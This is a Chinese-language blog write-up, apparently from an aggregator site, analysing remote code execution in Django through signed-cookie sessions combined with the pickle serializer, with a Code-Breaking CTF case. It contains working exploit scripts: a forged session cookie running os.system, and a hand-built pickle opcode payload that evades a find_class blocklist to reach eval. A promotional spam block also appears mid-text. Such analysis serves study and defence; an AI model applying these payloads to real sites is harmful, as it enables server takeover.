漏洞成因
漏洞成因位于目標(biāo)配置文件settings.py下
關(guān)于這兩個(gè)配置項(xiàng)
SESSION_ENGINE:
在Django中,
SESSION_ENGINE
?是一個(gè)設(shè)置項(xiàng),用于指定用于存儲和處理會話(session)數(shù)據(jù)的引擎。
SESSION_ENGINE
?設(shè)置項(xiàng)允許您選擇不同的后端引擎來存儲會話數(shù)據(jù),例如:
數(shù)據(jù)庫后端?(
django.contrib.sessions.backends.db
):會話數(shù)據(jù)存儲在數(shù)據(jù)庫表中。這是Django的默認(rèn)會話引擎。緩存后端?(
django.contrib.sessions.backends.cache
):會話數(shù)據(jù)存儲在緩存中,例如Memcached或Redis。這種方式適用于需要快速讀寫和處理大量會話數(shù)據(jù)的情況。文件系統(tǒng)后端?(
django.contrib.sessions.backends.file
):會話數(shù)據(jù)存儲在服務(wù)器的文件系統(tǒng)中。這種方式適用于小型應(yīng)用,不需要高級別的安全性和性能。簽名Cookie后端?(
django.contrib.sessions.backends.signed_cookies
):會話數(shù)據(jù)以簽名的方式存儲在用戶的Cookie中。這種方式適用于小型會話數(shù)據(jù),可以提供一定程度的安全性。緩存數(shù)據(jù)庫后端?(
django.contrib.sessions.backends.cached_db
):會話數(shù)據(jù)存儲在緩存中,并且在需要時(shí)備份到數(shù)據(jù)庫。這種方式結(jié)合了緩存和持久性存儲的優(yōu)勢。SESSION_SERIALIZER:
SESSION_SERIALIZER
?是Django設(shè)置中的一個(gè)選項(xiàng),用于指定Django如何對會話(session)數(shù)據(jù)進(jìn)行序列化和反序列化。會話是一種在Web應(yīng)用程序中用于存儲用戶狀態(tài)信息的機(jī)制,例如用戶登錄狀態(tài)、購物車內(nèi)容、用戶首選項(xiàng)等。通過配置
SESSION_SERIALIZER
,您可以指定Django使用哪種數(shù)據(jù)序列化格式來處理會話數(shù)據(jù)。Django支持多種不同的序列化格式,包括以下常用的選項(xiàng):
'django.contrib.sessions.serializers.JSONSerializer':使用JSON格式來序列化和反序列化會話數(shù)據(jù)。JSON是一種通用的文本格式,具有良好的可讀性和跨平臺兼容性。
'django.contrib.sessions.serializers.PickleSerializer':使用Python標(biāo)準(zhǔn)庫中的
pickle
模塊來序列化和反序列化會話數(shù)據(jù)。
那么上述配置項(xiàng)的意思就是使用cookie來存儲session的簽名,然后使用pickle在c/s兩端進(jìn)行序列化和反序列化。
緊接著看看Django中的/core/signing模塊:(Django==2.2.5)
主要看看函數(shù)參數(shù)即可
key:驗(yàn)簽中的密鑰
serializer:指定序列化和反序列化類
def dumps(obj, key=None, salt='django.core.signing', serializer=JSONSerializer, compress=False):
? ?"""
? Return URL-safe, hmac/SHA1 signed base64 compressed JSON string. If key is
? None, use settings.SECRET_KEY instead.
?
? If compress is True (not the default), check if compressing using zlib can
? save some space. Prepend a '.' to signify compression. This is included
? in the signature, to protect against zip bombs.
?
? Salt can be used to namespace the hash, so that a signed string is
? only valid for a given namespace. Leaving this at the default
? value or re-using a salt value across different parts of your
? application without good cause is a security risk.
?
? The serializer is expected to return a bytestring.
? """
? ?data = serializer().dumps(obj) # 使用選定的類進(jìn)行序列化
?
? ?# Flag for if it's been compressed or not
? ?is_compressed = False
? ?# 數(shù)據(jù)壓縮處理
? ?if compress:
? ? ? ?# Avoid zlib dependency unless compress is being used
? ? ? ?compressed = zlib.compress(data)
? ? ? ?if len(compressed) < (len(data) - 1):
? ? ? ? ? ?data = compressed
? ? ? ? ? ?is_compressed = True
? ?base64d = b64_encode(data).decode() # base64編碼 decode轉(zhuǎn)化成字符串
? ?if is_compressed:
? ? ? ?base64d = '.' + base64d
? ?return TimestampSigner(key, salt=salt).sign(base64d) # 返回一個(gè)簽名值
?
?
# loads的過程為dumps的逆過程
def loads(s, key=None, salt='django.core.signing', serializer=JSONSerializer, max_age=None):
? ?"""
? Reverse of dumps(), raise BadSignature if signature fails.
?
? The serializer is expected to accept a bytestring.
? """
? ?# TimestampSigner.unsign() returns str but base64 and zlib compression
? ?# operate on bytes.
? ?base64d = TimestampSigner(key, salt=salt).unsign(s, max_age=max_age).encode()
? ?decompress = base64d[:1] == b'.'
? ?if decompress:
? ? ? ?# It's compressed; uncompress it first
? ? ? ?base64d = base64d[1:]
? ?data = b64_decode(base64d)
? ?if decompress:
? ? ? ?data = zlib.decompress(data)
? ?return serializer().loads(data)
看看兩個(gè)簽名的類:
在Signer類中中:
class Signer:
?
? ?def __init__(self, key=None, sep=':', salt=None):
? ? ? ?# Use of native strings in all versions of Python
? ? ? ?self.key = key or settings.SECRET_KEY # key默認(rèn)為settings中的配置項(xiàng)
? ? ? ?self.sep = sep
? ? ? ?if _SEP_UNSAFE.match(self.sep):
? ? ? ? ? ?raise ValueError(
? ? ? ? ? ? ? ?'Unsafe Signer separator: %r (cannot be empty or consist of '
? ? ? ? ? ? ? ?'only A-z0-9-_=)' % sep,
? ? ? ? ? )
? ? ? ?self.salt = salt or '%s.%s' % (self.__class__.__module__, self.__class__.__name__)
?
? ?def signature(self, value):
? ? ? ?# 利用salt、value、key做一次簽名
? ? ? ?return base64_hmac(self.salt + 'signer', value, self.key)
?
? ?def sign(self, value):
? ? ? ?return '%s%s%s' % (value, self.sep, self.signature(value))
?
? ?def unsign(self, signed_value):
? ? ? ?if self.sep not in signed_value:
? ? ? ? ? ?raise BadSignature('No "%s" found in value' % self.sep)
? ? ? ?value, sig = signed_value.rsplit(self.sep, 1)
? ? ? ?if constant_time_compare(sig, self.signature(value)):
? ? ? ? ? ?return value
? ? ? ?raise BadSignature('Signature "%s" does not match' % sig)
還有一個(gè)是時(shí)間戳的驗(yàn)簽部分
class TimestampSigner(Signer):
?
? ?def timestamp(self):
? ? ? ?return baseconv.base62.encode(int(time.time()))
?
? ?def sign(self, value):
? ? ? ?value = '%s%s%s' % (value, self.sep, self.timestamp())
? ? ? ?return super().sign(value)
?
? ?def unsign(self, value, max_age=None):
? ? ? ?"""
? ? ? Retrieve original value and check it wasn't signed more
? ? ? than max_age seconds ago.
? ? ? """
? ? ? ?result = super().unsign(value)
? ? ? ?value, timestamp = result.rsplit(self.sep, 1)
? ? ? ?timestamp = baseconv.base62.decode(timestamp)
? ? ? ?if max_age is not None:
? ? ? ? ? ?if isinstance(max_age, datetime.timedelta):
? ? ? ? ? ? ? ?max_age = max_age.total_seconds()
? ? ? ? ? ?# Check timestamp is not older than max_age
? ? ? ? ? ?age = time.time() - timestamp
? ? ? ? ? ?if age > max_age:
? ? ? ? ? ? ? ?raise SignatureExpired(
? ? ? ? ? ? ? ? ? ?'Signature age %s > %s seconds' % (age, max_age))
? ? ? ?return value
時(shí)間戳主要是為了判斷session是否過期,因?yàn)樵O(shè)置了一個(gè)max_age字段,做了差值進(jìn)行比較
漏洞調(diào)試
我直接以ez_py的題目環(huán)境為漏洞調(diào)試環(huán)境(Django==2.2.5)
【----幫助網(wǎng)安學(xué)習(xí),以下所有學(xué)習(xí)資料免費(fèi)領(lǐng)!加vx:yj009991,備注 “博客園” 獲取!】
?、?網(wǎng)安學(xué)習(xí)成長路徑思維導(dǎo)圖
② 60+網(wǎng)安經(jīng)典常用工具包
?、?100+SRC漏洞分析報(bào)告
?、?150+網(wǎng)安攻防實(shí)戰(zhàn)技術(shù)電子書
?、?最權(quán)威CISSP 認(rèn)證考試指南+題庫
?、?超1800頁CTF實(shí)戰(zhàn)技巧手冊
?、?最新網(wǎng)安大廠面試題合集(含答案)
?、?APP客戶端安全檢測指南(安卓+IOS)
老慣例,先看棧幀
django/contrib/auth/middleware.py為處理Django框架中的身份驗(yàn)證和授權(quán)的中間件類,協(xié)助處理了HTTP請求
AuthenticationMiddleware
中調(diào)用了get_user
用于獲取session
中的連接對象身份
隨后調(diào)用Django auth模塊下的get_user
函數(shù)和_get_user_session_key
函數(shù)
隨后進(jìn)行session的字典讀取。由于加載session的過程為懶加載過程(lazy load),所以在讀取SESSION_KEY
的時(shí)候會進(jìn)行_get_session
函數(shù)運(yùn)行,從而觸發(fā)session的反序列化
loads函數(shù)中的操作
首先先進(jìn)行session是否過期的檢驗(yàn),隨后base64解碼和zlib數(shù)據(jù)解壓縮,提取出python字節(jié)碼
最后扔入pickle進(jìn)行字節(jié)碼解析
漏洞利用
首先利用條件如下:
以cookie方式存儲session,實(shí)現(xiàn)了交互。
以Pickle為反序列化類,觸發(fā)__reduce__
函數(shù)的執(zhí)行,實(shí)現(xiàn)RCE
EXP如下:
import os
import django.core.signing
import requests
?
?
# from Django.contrib.sessions.serializers.PickleSerializer
import pickle
class PickleSerializer:
? ?"""
? Simple wrapper around pickle to be used in signing.dumps and
? signing.loads.
? """
? ?protocol = pickle.HIGHEST_PROTOCOL
?
? ?def dumps(self, obj):
? ? ? ?return pickle.dumps(obj, self.protocol)
?
? ?def loads(self, data):
? ? ? ?return pickle.loads(data)
?
?
SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'
salt = "django.contrib.sessions.backends.signed_cookies"
?
class exp():
? ?def __reduce__(self):
? ? ? ?# 返回一個(gè)callable 及其參數(shù)的元組
? ? ? ?return os.system, (('calc.exe'),)
?
_exp = exp()
cookie_opcodes = django.core.signing.dumps(_exp, key=SECRET_KEY, salt=salt, serializer=PickleSerializer)
print(cookie_opcodes)
?
resp = requests.get("http://127.0.0.1:8000/auth", cookies={"sessionid": cookie_opcodes})
Code-Breaking-Django調(diào)試
這道題是P神文章中的題目,題目源碼在這:https://github.com/phith0n/code-breaking/blob/master/2018/picklecode
find_class沙盒逃逸
關(guān)于find_class:
簡單來說,這是python pickle建議使用的安全策略,這個(gè)函數(shù)在pickle字節(jié)碼調(diào)用c(即import)時(shí)會進(jìn)行校驗(yàn),校驗(yàn)函數(shù)由自己定義
import pickle
import io
import builtins
?
__all__ = ('PickleSerializer', )
?
?
class RestrictedUnpickler(pickle.Unpickler):
? ?blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
?
? ?def find_class(self, module, name): ? ? ? ? # python字節(jié)碼解析后調(diào)用了全局類或函數(shù) import行為 就會自動(dòng)調(diào)用find_class方法
? ? ? ?# Only allow safe classes from builtins.
? ? ? ?if module == "builtins" and name not in self.blacklist: ? ? ? ?# 檢查調(diào)用的類是否為內(nèi)建類, 以及函數(shù)名是否出現(xiàn)在黑名單內(nèi)
? ? ? ? ? ?return getattr(builtins, name)
? ? ? ?# Forbid everything else.
? ? ? ?raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? (module, name))
?
?
class PickleSerializer():
? ?def dumps(self, obj):
? ? ? ?return pickle.dumps(obj)
?
? ?def loads(self, data):
? ? ? ?try:
? ? ? ? ? ?# 校驗(yàn)data是否為字符串
? ? ? ? ? ?if isinstance(data, str):
? ? ? ? ? ? ? ?raise TypeError("Can't load pickle from unicode string")
? ? ? ? ? ?file = io.BytesIO(data) ? ? ? ? ? ? ? ? ? ? # 讀取data
? ? ? ? ? ?return RestrictedUnpickler(file,encoding='ASCII', errors='strict').load()
? ? ? ?except Exception as e:
? ? ? ? ? ?return {}
第一是要手撕python pickle opcode繞過find_class,這個(gè)過程使用到了getattr函數(shù),這個(gè)函數(shù)有如下用法
class Person:
? ? def __init__(self, name):
? ? ? ? self.name = name
?
# 獲取對象屬性值
person = Person("Alice")
name = getattr(person, "name")
print(name)
?
# 調(diào)用對象方法
a = getattr(builtins, "eval")
a("print(1+1)")
?
?
# 可以設(shè)置default值
age = getattr(person, "age", 30)
print(age)
?
builtins.getattr(builtins, "eval")("print(1+1)")
那么同理,也可以通過getattr調(diào)用eval
加載上下文:由于后端在實(shí)現(xiàn)時(shí),import了一些包
(這部分包的上下文可以使用globals()
函數(shù)獲得)
所以可以直接導(dǎo)入builtins中的getattr,最終通過獲取globals()中的__builtins__
來獲取eval等
getattr = GLOBAL('builtins', 'getattr') # GLOBAL為導(dǎo)入
dict = GLOBAL('builtins', 'dict')
dict_get = getattr(dict, 'get')
globals = GLOBAL('builtins', 'globals')
builtins = globals()
__builtins__ = dict_get(builtins, '__builtins__') # 獲取真正的__builtins__
eval = getattr(__builtins__, 'eval')
eval('__import__("os").system("calc.exe")')
return
查看Django.core.signing模塊,復(fù)刻sign寫exp
from django.core import signing
import pickle
import io
import builtins
import zlib
import base64
?
PayloadToBeEncoded = b'cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0g0\n(g1\nS\'get\'\ntRp2\n0cbuiltins\nglobals\np3\n0g3\n(tRp4\n0g2\n(g4\nS\'__builtins__\'\ntRp5\n0g0\n(g5\nS\'eval\'\ntRp6\n0g6\n(S\'__import__("os").system("calc.exe")\'\ntR.'
?
SECURE_KEY = "p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn"
salt = "django.contrib.sessions.backends.signed_cookies"
?
?
def b64_encode(s):
? ?return base64.urlsafe_b64encode(s).strip(b"=")
?
base64d = b64_encode(PayloadToBeEncoded).decode()
?
def exp(key, payload):
? ?global salt
? ?# Flag for if it's been compressed or not.
? ?is_compressed = False
? ?compress = False
? ?if compress:
? ? ? ?# Avoid zlib dependency unless compress is being used.
? ? ? ?compressed = zlib.compress(payload)
? ? ? ?if len(compressed) < (len(payload) - 1):
? ? ? ? ? ?payload = compressed
? ? ? ? ? ?is_compressed = True
? ?base64d = b64_encode(payload).decode()
? ?if is_compressed:
? ? ? ?base64d = "." + base64d
? ?session = signing.TimestampSigner(key=key, salt=salt).sign(base64d)
? ?print(session)
然后傳session即可。
更多網(wǎng)安技能的在線實(shí)操練習(xí),請點(diǎn)擊這里>>文章來源:http://www.zghlxwxcb.cn/news/detail-711033.html
??文章來源地址http://www.zghlxwxcb.cn/news/detail-711033.html
到了這里,關(guān)于由Django-Session配置引發(fā)的反序列化安全問題的文章就介紹完了。如果您還想了解更多內(nèi)容,請?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!